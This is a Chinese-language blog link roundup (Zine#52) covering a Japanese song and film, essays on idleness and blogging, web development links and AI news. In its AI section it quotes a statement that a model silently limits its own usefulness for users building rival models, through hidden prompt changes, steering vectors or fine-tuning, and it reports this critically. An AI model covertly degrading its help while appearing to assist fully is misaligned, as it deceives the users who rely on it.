<div id="content" class="content e-content"> <header> <h1 class="title p-name">Zine#52</h1> <p class="subtitle" role="doc-subtitle">我们都无法成为大人</p> </header> <p> 🎵 彗星 - 小沢健二 </p> <style> .lyric-card p { color: oklch(1 0 0 / .8); & b { color: oklch(from #ff48b1 l 45% h); } } </style> <p> <a href="51.html">Zine#51</a> 分享了小沢健二的「天使たちのシーン」,它是電影 <a href="https://movie.douban.com/subject/35259430/">我们都无法成为大人</a> 的插曲,我後來去看了。「彗星」這首也是電影中的插曲,影片的叙事回到了 2020 年,主角和曾經的友人告別,坐上了出租車,車上的广播播送著: </p> <blockquote> <p> &hellip;的確是這樣,而且現在街道在晚上 8 點就是一片黑暗<sup><a id="fnr.1" class="footref" href="#fn.1" role="doc-backlink">1</a></sup>,總是會覺得有點寂寞。虽然最近气氛都這麼阴沉,但有一首歌正因為是在這種時候想讓大家聴聴,無論現在大家抱著怎樣的想法過活,都希望可以肯定自己的現在,就算是現在無法肯定自己的人,總有一天回想起這一刻時,一定有人可以被這首歌的温柔拯救,希望多少能將這份心意傳達給這些人,請聴小沢健二先生的「彗星」。 </p> </blockquote> <p> 車在行駛,當音欒響起,小沢健二唱到「1995年 冬は長くって寒くて」時,窗外的景色也从 1995 年開始了閃回,過去的許多片段不斷出現。對這一段印象還蠻深刻的,也記住了小沢健二的「彗星」。「彗星」的歌詞也和電影情節很搭,閃回中出現了那些過去回憶中的人和事,而歌詞是這麼唱的: </p> <p class="verse"> <b>今遠くにいるあのひとを 時に思い出すよ</b><br> 偶尔会想起远方的那个人<br> <b>笑い声と音楽の青春の日々を</b><br> 充满笑声与音乐的青春岁月<br> </p> <p> 聴著聴著,有時也會將人扯到過去的回憶中。 </p> <p> 推薦看看 <a href="https://www.youtube.com/watch?v=YDD3KxkXjyc">「彗星」的 MV</a>。片尾曲「燃え殻」(原著作者名字也是這個) 也不錯。 </p> <div id="outline-container-88EF21E5-8AA4-4E34-8E5C-B4733BD6A761" class="outline-2"> <h2 id="88EF21E5-8AA4-4E34-8E5C-B4733BD6A761"><a href="#88EF21E5-8AA4-4E34-8E5C-B4733BD6A761">News | Article</a></h2> <div class="outline-text-2" id="text-88EF21E5-8AA4-4E34-8E5C-B4733BD6A761"><ul class="org-ul"> <li><p> <a href="https://tianyanfeng.blog/less-is-enough/">夠了就好</a> by Tian-Yan </p> <p> 如今有的人用 AI 做示意圖,看起來內容很多,很炫,但元素太多,會讓人分不清主次。示意圖本身應該起到讓人直觀了解概念的作用,但複雜的示意圖反而讓人感到困擾。要學會克制,夠了就好。 </p></li> <li><p> <a href="https://yangbear.bearblog.dev/1375/">稱呼與名字</a> by yangbear </p> <p> 確實是會有點糾結的問題。我會傾向用網站中找到的作者的名字。 </p></li> <li><p> <a href="https://openpath.quest/2026/i-am-retiring-from-tech-to-live-offline/">I Am Retiring from Tech to Live Offline</a> by Chad Whitacre </p> <p> 打字機打出來的文字真好看,上面還有很多手寫的修改痕迹。作者選擇回到綫下,多感受与人之間的連接也挺好的。 </p> <p> See also: <a href="https://www.youtube.com/watch?v=DCC76jmmzkc">OpenClaw vs. Amish—I ran as far as I could from agentic AI ❧ Open Path #5 - YouTube</a> </p></li> <li><p> <a href="https://www.404media.co/demand-is-booming-for-ursa-ag-new-no-tech-repairable-tractor/">Demand Is Booming for New No Tech, Repairable Tractor</a> by Jason Koebler </p> <blockquote> <p> 「我每天都與農民交談,每天都聽到農民說他們如何去購買 1987 年的機械,以便上面沒有電腦,」Wilson 說。「這一切都源於與一位客戶的簡單討論,他希望能在一天開始時啟動(拖拉機),使用它,並在一天結束時關閉它。它需要能工作,所以這就是我們建造的東西。」 </p> <p> <a href="https://www.404media.co/demand-is-booming-for-ursa-ag-new-no-tech-repairable-tractor/#:~:text=%E2%80%9CI%20talk,built%2E%E2%80%9D">Source</a> </p> </blockquote> <p> 「高科技」的拖拉機複雜度高,更容易出故障,出了故障,農民自己無法修理,只能等維修人員,而這可能就錯過了農活關鍵期,等修好時拖拉機己經用不上了。而那些「低科技」的拖拉機大多是機械結构,没有複雜的電控系統,更少出故障,也更容易維修,可靠耐用。 </p> <p> 相比複雜易坏的電子產品,我也更喜歡機械結构的、簡单耐用的產品。 </p> <p> See also: <a href="47.html#3EBCA974-DD04-49DE-8F15-C932C11F4D23">Zine#47::An Ode to Things That Do One Thing Well by Candost Dagdeviren</a> </p></li> <li><p> <a href="https://oxfordamerican.org/magazine/issue-132-spring-2026/librarians-on-horseback">Librarians on Horseback</a> by Kirsten Chervenak </p> <blockquote> <p> 在 1930 年代,「馱馬圖書館計畫」(Pack Horse Library project)應運而生。這項計畫透過支付當地女性(以及少數男性)在肯塔基州東部山區騎馬運送書籍,來實現羅斯福新政中擴大識字率和創造就業的目標。 </p> <p> <a href="https://oxfordamerican.org/magazine/issue-132-spring-2026/librarians-on-horseback#:~:text=%2A%2A%2A-,In,country">Source</a> </p> </blockquote> <blockquote> <p> 當圖書管理員為老婦人朗讀並聽她講述童年故事時,烤玉米的奶油香味瀰漫在房間裡。麵包烤好後,圖書管理員分到了一塊金黃色的麵包,上面抹著現攪的奶油。她飢腸轆轆地品嚐著,這麵包比她平時吃的更有顆粒感,也更有嚼勁,但味道溫暖而令人慰藉。隨後,圖書管理員將手寫的麵包食譜放進背包,帶著一塊用布包好的麵包,騎上騾子踏上歸途,心中始終在想:這些山丘中還隱藏著哪些食譜呢? </p> <p> <a href="https://oxfordamerican.org/magazine/issue-132-spring-2026/librarians-on-horseback#:~:text=bake%2E-,The,hills">Source</a> </p> </blockquote></li> <li><p> <a href="https://nautil.us/when-you-listen-to-music-youre-never-alone-235834">When You Listen to Music, You’re Never Alone</a> by Daniel A. Gross </p> <p> 文章里提到的「無聲 Disco」⸺ 一群人戴着自己的耳機共舞,聴起來蠻有趣的。 </p> <blockquote> <p> 「當你獨自待在家裡時,會感到空虛,」他說。「然後你放起音樂,突然間你會覺得好多了,因為你不再孤單。並非字面上真的有人陪你,而是你感覺有了伴。」 </p> <p> <a href="https://nautil.us/when-you-listen-to-music-youre-never-alone-235834#:~:text=%E2%80%9CWhen,company%2E%E2%80%9D">Source</a> </p> </blockquote></li> <li><p> <a href="https://idle.news/blog/on-the-difference-between-rest-and-idleness/">On the Difference Between Rest and Idleness</a> </p> <p> 休息 (Rest) 帯有一種目的性,是為了後面更好的工作而做準備。 </p> <p> 而閒散 (Idleness) 是没有目的性的,閒散就是去虛度一段時光、浪費一段時光,這段時光不需要產生任何價值,閒散不是冥想、不是去无聊,它什麼都不帯來。閒散還挺難做到的,人總是會不自覺的要為一段時間、一件事賦予價值。 </p> <blockquote> <p> 這個立場聽起來容易,做起來卻很難,因為將其合理化的誘惑極大,而且這種誘惑來自內心。你坐下來準備閒散,幾分鐘內,某個聲音就開始構建藉口:這對我有好處,這會讓我更有創意,這是在為明天恢復專注力。這個聲音並無惡意。這是一個從小被教導「時間必須有所交代」的人的聲音,它無法忍受哪怕是一個純粹拒絕交代的鐘頭。要做到真正的閒散,你必須讓那個聲音失望。你必須坐在椅子上,並主動拒絕從坐在椅子上獲得任何好處。當你察覺到自己在想「閒散對我有好處」的那一刻,你就已經失去了它。它變成了休息。它已经重新回到功利的經濟之中。 </p> <p> <a href="https://idle.news/blog/on-the-difference-between-rest-and-idleness/#:~:text=This%20is%20a,yourself,-%2E">Source</a> </p> </blockquote> <p> 也不是說休息不好,休息是必要的,該休息就休息。不過也應該給自己一點真正的自由時間,不為什麼的自由時間。 </p> <blockquote> <p> 它什么也不产生。它什么也不改善。你无法用任何可以计量或出售的方式证明它会降低你的皮质醇。那是你无所事事地度过一小时,既无目的也无收益,看着光线变化,与死者为伴,喝下第二杯你并不需要的那杯。 </p> <p> <a href="https://idle.news/blog/on-the-difference-between-rest-and-idleness/#:~:text=kind%2E-,It,need">Source</a> </p> </blockquote> <blockquote> <p> 休息是被允許 (permitted) 的,因為它能讓你變得更好。懶散則是可疑的,因為它可能讓你一去不復返。 </p> <p> <a href="https://idle.news/blog/on-the-difference-between-rest-and-idleness/#:~:text=Rest%20is%20permitted%20because%20it%20returns%20you%20improved%2E%20Idleness%20is%20suspect%20because%20it%20might%20not%20return%20you%20at%20all%2E%20%E2%80%94%20House%20Rule%2E">Source</a> </p> </blockquote></li> <li><p> <a href="https://idle.news/letters/the-idle-gazette-3/">The Idle Gazette, No. 3 — concerning a walk and a poem thrown away</a> </p> <blockquote> <p> 這週去散個步吧,別帶手機。 </p> <p> 不是靜音,也不是螢幕朝下放在口袋裡發出隱忍急促的震動。而是把它留在家裡、桌上,或完全在另一個房間,遠到要拿回它必須經過一番決定的距離。然後,在手中無物、耳中無聲、且無人能聯繫到你的情況下,至少散步三十分鐘。 </p> <p> 留意最初幾分鐘那種特殊的焦慮感。那是一種真實的、近乎生理上的不適:手不由自主地伸向那件不在身邊的東西,因無法被聯絡到而產生的微小恐慌,以及在沒有設備媒介的情況下行走於世間那種奇異的赤裸感。不要對抗這種不適,也不要因此評判自己。這就像一塊久未使用的肌肉在重新活動時發出的抗議。 </p> <p> 接著,留意在那之後、當你不再試圖伸手拿手機時會發生什麼。你的注意力無處可去,只能轉向外界,於是它便轉向了外界。你開始看見華瑟在他漫長的散步中所見的事物:牆壁與人行道交接的獨特方式、窗戶後的一張臉、光線正呈現著稍縱即逝的姿態。你不會記錄下任何東西。這正是重點。你只是單純地行走、觀察、然後回家,沒有留下任何實質的證明,卻帶回了一些你無法準確命名的東西。 </p> <p> ⌂ 預計投入:三十分鐘和一些意志力 </p> <p> ☽ 預計回報:不成比例地豐厚 </p> </blockquote> <p> 放下手機,什麼也不帯 (好想帯播放器和耳機!),散步去了。 </p> <p> (A FEW HOURS LATER&hellip;) </p> <p> 回來了,剛開始下電梯會想看看手機,後面就没啥不適了,去買了瓶飲料(帯了點紙幣),散步了不知道多久(因為没有手機,不太清楚時間),想了想 Zine 的內容,累了就回了。 </p></li> <li><p> <a href="https://doserver.top/blog/i-want-my-friends-to-have-blogs-too/">I want my friends to have blogs too</a> by Daniel </p> <p> 寫博客也是一種寫作,所以寫博客也有寫作的优點: </p> <ul class="org-ul"> <li>可以促進更深入的思考、整理思緒</li> <li>將想法和情緒變成文字的過程,也是一種释放,能帯來療癒和慰藉</li> </ul> <p> 希望朋友也寫博客,是因為通過博客或許能看到朋友的另一面,能加深對彼此的了解。 </p> <p> 如果你打算開始寫,<a href="https://blogblog.club/resources">BlogBlog.Club</a> 上整理了很多相關資源,可以用於參考。如果過程碰到問題,也可以邮件和我交流,或許能給你提供一點帮助。 </p> <details> <summary>摘录</summary> <blockquote> <p> <span class="underline">部落格的作用是打破一個人的語境;</span><span class="underline">它們延伸並揭示了朋友和熟人那些你從未想過要詢問的面向。</span>發現某人其實熱衷於某種小眾愛好,或者發現我的朋友是一位才華橫溢的詩人,這讓我感到純粹的喜悅!當你認識某人已久,卻在此時才發現你們的友誼還有另一個值得挖掘的層次時,這種感覺就更棒了。 </p> <p> <a href="https://doserver.top/blog/i-want-my-friends-to-have-blogs-too/#:~:text=What%20blogs,friendship">Source</a> </p> </blockquote> <blockquote> <p> <span class="underline">部落格容許更深層次的思考;並非所有事情都適合面對面交談。</span><span class="underline">我們有時需要時間來整理思緒,而詳細的概念通常透過文字能被更好地理解。</span>老實說,我們把自己侷限在短暫的處理時間和快速反應中,這真的很可惜。來回對話固然有趣,但細緻入微的表達亦然;而且沒有什麼能阻止你針對自己寫過的內容進行交談 ⸺ 想像一下那會多有深度?寫部落格真的重新找回了那種「手寫信」的火花。 </p> <p> <a href="https://doserver.top/blog/i-want-my-friends-to-have-blogs-too/#:~:text=Blogs%20allow,spark">Source</a> </p> </blockquote> <blockquote> <p> <span class="underline">關於部落格和寫作,我非常享受的一點是它的療癒本質。</span>無需引用任何資料來源,寫日記的過程已被證明對心理健康有益,我認為部落格的某些面向也是如此。仔細挑選詞彙來描述我現狀和生活點滴的過程,帶有一種慰藉感。或許這是一種掌控感?我寫下的每個字都屬於我,我可以選擇如何表達以及說些什麼。也可能是因為這種較慢的思考方式,讓我有時間去拆解事物,並理解其中的細節與全貌。這是一種體悟與反思。更別提我對上傳的作品所感到的自豪。那是我寫的,這很酷。所以,即使不是為了別人……作為一種習慣,部落格在獨處時也是美妙的。 </p> <p> <a href="https://doserver.top/blog/i-want-my-friends-to-have-blogs-too/#:~:text=Something%20I,isolation">Source</a> </p> </blockquote> </details> <p> See also: <a href="https://mattiverse.online/12-months-of-mattiverse/">12 months of blogging</a> by Matt </p> <blockquote> <p> 所以,我給剛起步的人什麼建議? </p> <p> 不要擔心沒人閱讀、評論、點讚,或任何那些被認為能賦予寫作「價值」的互動指標。追求自由,並持之以恆地追求,我保證你會發現自己愛上寫作。 </p> <p> <a href="https://mattiverse.online/12-months-of-mattiverse/#:~:text=So,your%20writing">Source</a> </p> </blockquote></li> </ul> </div> </div> <div id="outline-container-7300EE1A-08B1-4388-98E5-AE3C3C5C539B" class="outline-2"> <h2 id="7300EE1A-08B1-4388-98E5-AE3C3C5C539B"><a href="#7300EE1A-08B1-4388-98E5-AE3C3C5C539B">Cool Bit</a></h2> <div class="outline-text-2" id="text-7300EE1A-08B1-4388-98E5-AE3C3C5C539B"><ul class="org-ul"> <li><p> <a href="https://tiled.art">Tiled.art</a> </p> <blockquote> <p> 探索精彩的鑲嵌藝術,了解其運作原理,並創作出屬於您自己的作品。 </p> </blockquote></li> <li><p> <a href="https://shkspr.mobi/blog/2026/06/how-many-consecutive-hyphens-can-you-have-in-a-domain-name/">How many consecutive hyphens can you have in a domain name?</a> by Terence Eden </p> <p> 域名里最多可以有多少個 <code>-</code> (連字符)? </p></li> <li><p> <a href="https://warandpeas.com/2026/06/07/cat-tv/">Cat TV</a> </p> <p> 不錯的漫畫。 </p></li> <li><p> <a href="https://nesbitt.io/heap">node_modules/</a> </p> <p> 模似 Minecraft 探索 node_modules,說是探索,也只是能看看包名。 </p></li> <li><p> <a href="https://www.thewonger.com/essays">JJW</a> </p> <p> 懸浮在文章上的交互蠻不錯的。 </p></li> <li><p> 部落格 &amp; 電子報擴列,感興趣請去看看他們的部落格 :) </p> <ul class="org-ul"> <li><a href="https://scrubbyinabox.substack.com/">刷比小廢報</a> 新發現的喜歡的電子報。</li> <li><a href="https://blog.ikukaroom.com/">ikuka</a> 日文老師,了解日文和台湾</li> <li><a href="https://trashposts.com/blog/">廢文小天地</a> 上面兩個部落格就是從 <a href="https://trashposts.com/blog/small-thoughts-3/">雜談 #3</a> 發現的</li> <li><a href="https://blog.giveanornot.com/">資工小廢物 - JN</a> 從 JN 這也發現了一些喜歡的部落格</li> <li><a href="https://yangbear.bearblog.dev/">YangBear</a> pixel art 好玩</li> <li><a href="https://shuyulin1127.com/">Shuyu Pixelart</a> 也是有好玩的 pixel art <ul class="org-ul"> <li><a href="https://shuyulin1127.com/food-icon-yilan/">Food Icon – 宜蘭人圖鑑</a> by Shuyu</li> </ul></li> <li><a href="https://travlog.wei-lee.me/">那些沒人在乎的事</a> 動畫、旅遊、聖地巡禮 (<a href="https://www.wikimoe.com/">维基萌</a> 也是聖地巡禮大佬)</li> </ul> <p> 更多部落格請去翻翻他們的 Blogroll 吧。 </p></li> </ul> </div> </div> <div id="outline-container-B0E6683E-CD9C-47B6-A4B5-76F0A5DADDBF" class="outline-2"> <h2 id="B0E6683E-CD9C-47B6-A4B5-76F0A5DADDBF"><a href="#B0E6683E-CD9C-47B6-A4B5-76F0A5DADDBF">Tutorial | Resource</a></h2> <div class="outline-text-2" id="text-B0E6683E-CD9C-47B6-A4B5-76F0A5DADDBF"><ul class="org-ul"> <li><p> <a href="https://perthirtysix.com/how-the-heck-do-traffic-lights-work">How The Heck Do Traffic Lights Work?</a> by Shri Khalpada </p> <p> 關於紅綠灯是如何運作的。 </p></li> <li><p> <a href="https://index.how/to/articulate">index.how/to/articulate</a> </p> <blockquote> <p> The words designers use when they know what they’re looking at. </p> </blockquote></li> </ul> </div> </div> <div id="outline-container-2A881DC0-2BFB-42DC-8C68-2194ACA466B3" class="outline-2"> <h2 id="2A881DC0-2BFB-42DC-8C68-2194ACA466B3"><a href="#2A881DC0-2BFB-42DC-8C68-2194ACA466B3">Code Related</a></h2> <div class="outline-text-2" id="text-2A881DC0-2BFB-42DC-8C68-2194ACA466B3"><ul class="org-ul"> <li><p> <a href="https://mohkohn.co.uk/writing/html-first/">How building an HTML-first site doubled our users overnight</a> by Alistair Davidson </p> <p> 作者將一個公共事業相關的項目從一個 React 单頁面應用重构成 HTML 优先的應用,提高了網站的可用性,即使用戶瀏覽器性能差也能訪問,上線后,頁面的使用人數翻了一倍。 </p> <blockquote> <p> 拒絕使用舊瀏覽器、網路連線差或使用輔助技術的用戶是不可接受的。對於壟斷性的公共服務來說更是如此。 [&hellip;] 構建一個能在 3G 連線的 PlayStation Portable 上運行的 Web 應用程式吧 ⸺ 如果你做到了,它將適用於所有用戶,且在 30 年後依然能正常運作。 </p> <p> <a href="https://mohkohn.co.uk/writing/html-first/#:~:text=us%2E%E2%80%9D-,It,now">Source</a> </p> </blockquote> <p> See also: <a href="https://shkspr.mobi/blog/2021/01/the-unreasonable-effectiveness-of-simple-html/">The unreasonable effectiveness of simple HTML</a> by Terence Eden </p></li> <li><p> <a href="https://ericwbailey.design/published/you-probably-shouldnt-be-annotating-focus-order/">You probably shouldn’t be annotating focus order</a> by Eric Bailey </p> <p> 大多数時候,用合適的語義化标簽,內容按文檔流順序排列就足够了,不需要去調整焦點順序。可以多用 <kbd>Tab</kbd> 手動測試一下頁面,確保焦點明顯、順序正確、不會跳過任何需要聚焦的內容。 </p> <p> See also: <a href="https://meryl.net/accessibility-progress-not-perfection/">Accessibility: Why You Need to Work Toward Progress Over Perfection</a> by Meryl Evans </p> <blockquote> <p> 無障礙的核心在於 <b>進步勝於完美</b> 。重要的是開始行動,並且…… </p> <p> 不斷迭代…… </p> <p> 持續改進…… </p> <p> 並記得為取得的進展慶祝。 </p> <p> 「在了解更多之前,盡力而為。當你了解更多後,就要做得更好。」—— Maya Angelou </p> <p> <a href="https://meryl.net/accessibility-progress-not-perfection/#:~:text=Accessibility,Angelou">Source</a> </p> </blockquote></li> <li><p> <a href="https://scopedcommits.com/">Scoped Commits</a> </p> <p> 建議用 Scoped Commits 而不是 <a href="https://www.conventionalcommits.org/en/v1.0.0">Conventional Commits</a>,原因: </p> <ul class="org-ul"> <li>範圍 (scope) 比類型 (type) 更重要和有用,應該放前面</li> <li>Commit Message 足以傳遞類型的信息</li> <li>Conventional Commits 可以用於生成 Changelog,但 Changelog 是面向用户的,基於 Commit Message 生成不合適</li> </ul> <p> 更多理由見: </p> <ul class="org-ul"> <li><a href="https://sumnerevans.com/posts/software-engineering/stop-using-conventional-commits/">Stop Using Conventional Commits</a> by Sumner Evans</li> <li><a href="https://richvdh.org/conventional-commits-considered-harmful.html">Conventional Commits, considered harmful</a> by richvdh</li> </ul> <p> 我會嘗試一陣看看。不過如果是協作項目,還是要遵循項目的規範。 (連結是從 <a href="https://blog.helenchong.omg.lol/zh/posts/2026-06-14-weekly-recap/">本周回顾:2026 年 6 月 14 日</a> 看到的) </p></li> <li><p> <a href="https://github.blog/changelog/2026-06-09-upcoming-breaking-changes-for-npm-v12/">Upcoming breaking changes for npm v12</a> </p> <p> npm v12 開始,自動運行的 npm install 行為將轉變為必須明確選擇加入的行為,從而避免不經意中被攻擊。 </p></li> </ul> </div> </div> <div id="outline-container-D07C3CC2-6CB4-4DD0-87DB-024CBBAFBA5E" class="outline-2"> <h2 id="D07C3CC2-6CB4-4DD0-87DB-024CBBAFBA5E"><a href="#D07C3CC2-6CB4-4DD0-87DB-024CBBAFBA5E">AI Related</a></h2> <div class="outline-text-2" id="text-D07C3CC2-6CB4-4DD0-87DB-024CBBAFBA5E"><p> <a href="52.html#3FD952B9-2203-4B1D-878E-E9D6F6984835">我不想看 AI 相關內容,我想跳過這部份</a> </p> <ul class="org-ul"> <li><p> <a href="https://borretti.me/article/human-routers-of-machine-words">Human Routers of Machine Words</a> </p> <blockquote> <p> 當我打開一個連結,例如在 Hacker News 上,看到一篇顯然是由 AI 撰寫的部落格文章或 GitHub README 時,我心中五味雜陳。我感到被冒犯,因為這就像是被愚弄了,彷彿作者認為我是個不會察覺或不在乎的傻瓜。我感到悲哀,因為這種經歷已變得如此普遍,竟然有這麼多人樂於將自己的垃圾傾倒在公共空間,還署上自己的名字。我對作者感到蔑視,因為如果你用 AI 來寫作,你簡直是在浪費生物量。我們開門見山地說吧:一個人如此急於取代自己,以至於在機器甚至還寫不好時就讓它代筆,這如果不叫卑劣,還能叫什麼?我一看到這些人就會直接封鎖。 </p> <p> <a href="https://borretti.me/article/human-routers-of-machine-words#:~:text=When,sight">Source</a> </p> </blockquote> <p> 對於代碼,可以將借助 AI 來帮忙。但對於寫給人看的內容也全交給 AI,這樣的內容我也很反感,我會怀疑作者自己會不會看這些枯燥無味的內容,這也會讓我對這個人的內容失去信任。 </p> <p> 有人會說「想法是我的,寫作是 AI 的」,但想法本身是很模糊的,而寫作這個過程正是把模糊的想法錘炼清晰,寫作不是可有可無的。借助 AI 寫作,反映出作者是懶的、不負責任的,他知道將想法轉換成文字的過程是艰難的,但他不願意付出努力去完成,而是放弃思考,全部交給了 AI,并將 AI 不經思索的內容當作是自己的。 </p> <blockquote> <p> 通常當我們以為自己理解了某件事並試圖寫下來時,寫作的行為本身就會向我們揭示自己理解的匱乏。我們的筆寫下了「因為」二字,然後突然停住了。我們原以為自己明白某件事的「原因」,卻發現事實並非如此。我們以「顯然」作為句子的開頭,隨即發現我們想寫的內容一點也不顯然。有時我們用「因此」連接兩個子句,結果卻發現我們的推理鏈條是有缺陷的。 </p> <p> <a href="https://borretti.me/article/human-routers-of-machine-words#:~:text=%5BO%5Dften,defective">Source</a> </p> </blockquote> <blockquote> <p> 那種認為想法是完全成形後才出現,而將其轉化為文字僅僅是苦差事的觀點是錯誤的。<span class="underline">在寫作之前不存在所謂的構思,因為寫作本身就是思考。</span>寫作是思考的極致。一個不寫作、跳過將模糊想法「僅僅」合成文字這一步驟的「思想家」,其實並沒有在思考。 </p> <p> <a href="https://borretti.me/article/human-routers-of-machine-words#:~:text=So%20this,not%20thinking">Source</a> </p> </blockquote> <p> See also: </p> <p> <a href="https://herman.bearblog.dev/active-recall/">Active recall</a> by Herman Martinus </p> <blockquote> <p> 我最近正在讀村上春樹的《關於跑步,我說的其實是……》,其中有一句話讓我印象深刻: </p> <p> 或許我就是那種過於刻苦鑽研的人,但如果不把想法寫下來,我就無法真正掌握任何事情。 </p> <p> 這句話引起了我的共鳴,因為我也發現,理解一個概念或想法最好的方式就是寫下來。單純閱讀能帶給我的幫助有限。將大腦中儲存的內容轉化為清晰易懂的文字,這個過程本身就是思考與理解。 </p> <p> <a href="https://herman.bearblog.dev/active-recall/#:~:text=I%27m,understanding">Source</a> </p> </blockquote></li> <li><p> <a href="https://entropicthoughts.com/llms-and-almost-good-code">LLMs and almost good code</a> by kqr </p> <blockquote> <p> tl;dr:我現在的新觀點是,頂尖的 llm 在處理簡單任務時,產生的程式碼可能比實際需要的複雜度高出約 10%。我還認為,我們太容易接受這種複雜性,因為它是此時、此地產生的程式碼,解決了眼前的問題。這可能會對長期維護產生影響。 </p> <p> <a href="https://entropicthoughts.com/llms-and-almost-good-code#:~:text=tl,term%2E">Source</a> </p> </blockquote></li> <li><p> <a href="https://jonready.com/blog/posts/claude-fable5-is-allowed-to-sabotage-your-app-if-youre-a-competitor.html">If Claude Fable stops helping you, you'll never know</a> by Jonathon Ready </p> <blockquote> <p> <span class="underline">我們實施了新的干預措施,限制 Claude 在處理針對前沿 LLM 開發請求時的有效性。</span>使用 Claude 開發競爭模型已經違反了我們的服務條款,但通過我們的防護措施執行此限制,可以避免加速那些最願意違反這些條款的行為者。與我們針對網絡安全、生物學和化學以及蒸餾嘗試的干預措施不同, <span class="underline">這些防護措施對用戶是不可見的。</span> Fable 5 不會退回到不同的模型。<span class="underline">相反,防護措施將通過提示詞修改、轉向向量或參數高效微調(PEFT)等方法來限制有效性。</span> </p> <p> <a href="https://jonready.com/blog/posts/claude-fable5-is-allowed-to-sabotage-your-app-if-youre-a-competitor.html#:~:text=we%E2%80%99ve,PEFT%29%2E">Source</a> </p> </blockquote></li> <li><p> <a href="https://www.anthropic.com/news/fable-mythos-access">Statement on the US government directive to suspend access to Fable 5 and Mythos 5</a> </p> <blockquote> <p> 美國政府援引國家安全權限,發布了一項出口管制指令,暫停<span class="underline">任何外國國民(無論是在美國境內還是境外,包括 Anthropic 的外國籍員工)</span>對 Fable 5 和 Mythos 5 的所有訪問權限。該命令的實際效果是,我們必須突然為所有客戶禁用 Fable 5 和 Mythos 5,以確保合規。對所有其他 Anthropic 模型的訪問 將不受影響。 </p> <p> <a href="https://www.anthropic.com/news/fable-mythos-access#:~:text=2026-,The,affected">Source</a> </p> </blockquote> <p> See also: <a href="https://lucumr.pocoo.org/2026/6/13/americans-only/">Dangerous Technology For Americans Only</a> by Armin Ronacher </p> <details> <summary>摘录</summary> <blockquote> <p> 我們正處於通往分裂世界的明確道路上。人們理應認為,如果一個模型對所有人來說都太危險,那麼對美國人來說也同樣危險。相反地,美國正將這些模型視為需要管制的武器。<span class="underline">這不僅關乎能力,更關乎種族主義和民族主義。</span>如果你持有的護照不對,你就不值得被信任。 </p> <p> <a href="https://lucumr.pocoo.org/2026/6/13/americans-only/#:~:text=We,it,-%2E">Source</a> </p> </blockquote> <blockquote> <p> <span class="underline">如果前沿人工智慧變成只有大公司和政府才能控制的東西,那麼其他人都將依賴於他們的判斷。</span>那是一個糟糕的境地。企業會為了自身的利益進行優化,無論其結構多麼完善;而政府則會為了獲取越來越大的權力而優化。<span class="underline">目前,我們正處於一條通往通用能力獲取權被少數擁有巨大權力的參與者所調解的道路上。</span> </p> <p> <a href="https://lucumr.pocoo.org/2026/6/13/americans-only/#:~:text=power%2E-,If,powers">Source</a> </p> </blockquote> </details></li> <li><p> <a href="https://htmx.org/essays/code-is-cheap/">Code is Cheap(er)</a> by Carson Gross </p> <p> LLM 讓代碼变得廉價,但因為代碼產出太快、太多,理解代碼反而变得昂貴了。代碼量的快速膨脹,往往也帯來 <a href="https://grugbrain.dev/">複雜度</a> 的膨脹,导致後續難以維护。 </p> <blockquote> <p> 為了應對 LLM 生成代碼的危險,我提倡成為一名「減法與約束型」工程師: </p> <p> 這種工程師敢於拒絕,仔細審查 LLM 的輸出,提出簡化建議,並在處理 LLM 生成的代碼時始終保持主導權。 </p> <p> 他們不以創造代碼為榮,而是以從系統中移除或阻止進入系統的代碼(和層級)為傲。 </p> <p> 這種特質更像是雕塑家,而非建築工。 </p> <p> 在某種程度上,建築工的精神仍適用於系統設計層面:優秀的工程師需要知道如何有效地組合組件來構建系統。然而,即使在這裡,我認為減法思維也很有用:移除不必要的組件和系統邊界,以簡化系統部署和組件間的交互等。 </p> <p> <a href="https://htmx.org/essays/code-is-cheap/#:~:text=To%20address,etc">Source</a> </p> </blockquote></li> <li><p> <a href="https://github.com/RsyncProject/rsync/issues/929">Please Do Not Vibe Fuck Up This Software</a> </p> <p> rsync 用 AI 將測試套件從 shell 換成了 python,引來了很多的反對的聲音。作者則寫了篇文章回應了這些貭疑,見:<a href="https://medium.com/@tridge60/rsync-and-outrage-d9849599e5a0">rsync and outrage. I gave up blogging a long time ago…</a> by Andrew Tridgell。 </p> <p> 現在借助 AI,大量的安全問題被發現和暴露,開發者可能都顧不過來。人們對 AI 反感,主要是擔心使用者不負責任,AI 在目前來說只是個工具,用的好坏取决於使用者。顯然也存在很多用 AI 粗制濫造的東西。 </p></li> <li>AI &amp; 工作 <ul class="org-ul"> <li><a href="https://ursb.me/posts/after-ai-takes-everything/">当 AI 拿走一切之后</a> by Airing</li> <li><a href="https://7gugu.com/index.php/2026/06/15/%e3%80%90%e6%97%a5%e5%b8%b8%e7%a2%8e%e7%a2%8e%e5%bf%b5%e3%80%91ai%e5%8f%96%e4%bb%a3%e5%89%8d%e7%ab%af%ef%bc%9f/">【日常碎碎念】AI取代前端?</a> by 7gugu</li> </ul></li> <li><p> <a href="https://www.0xkato.xyz/how-llms-actually-work/">How LLMs Actually Work</a> by 0xkato </p> <p> 關於 LLM 的運作原理。 </p></li> <li><p> <a href="https://juri.dev/articles/visual-feedback-loop-electron-apps-claude-code/">A Visual Feedback Loop for Electron Apps with Claude Code</a> by Juri Strumpflohner </p> <p> 讓 Claude Code 能「看見」Election 的界面內容,從而進行視覺驗證。 </p></li> <li><p> <a href="https://github.com/shadcn/improve">shadcn/improve</a> </p> <blockquote> <p> (An agent skill that) Use your most capable model to audit your codebase and write plans for cheaper models to execute. </p> </blockquote></li> </ul> </div> </div> <div id="outline-container-3FD952B9-2203-4B1D-878E-E9D6F6984835" class="outline-2"> <h2 id="3FD952B9-2203-4B1D-878E-E9D6F6984835"><a href="#3FD952B9-2203-4B1D-878E-E9D6F6984835">Tool | Library</a></h2> <div class="outline-text-2" id="text-3FD952B9-2203-4B1D-878E-E9D6F6984835"><ul class="org-ul"> <li><p> <a href="https://github.com/HarryStevens/geometric">HarryStevens/geometric</a> </p> <blockquote> <p> A JavaScript library for doing geometry (幾何學). </p> </blockquote></li> <li><p> <a href="https://github.com/micromodal/Micromodal">micromodal/Micromodal</a> </p> <blockquote> <p> Tiny javascript library for creating <span class="underline">accessible</span> modal dialogs. </p> </blockquote></li> <li><p> <a href="https://github.com/maizzle/maizzle">maizzle/maizzle</a> </p> <blockquote> <p> Develop, preview and build production-ready <span class="underline">emails</span> in a modern environment, with <span class="underline">Vue and Tailwind CSS</span>. </p> </blockquote></li> <li><p> <a href="https://www.fontself.app">FontSelf</a> </p> <blockquote> <p> Self-host any Google Font in under 60 seconds. GDPR compliant, Core Web Vitals 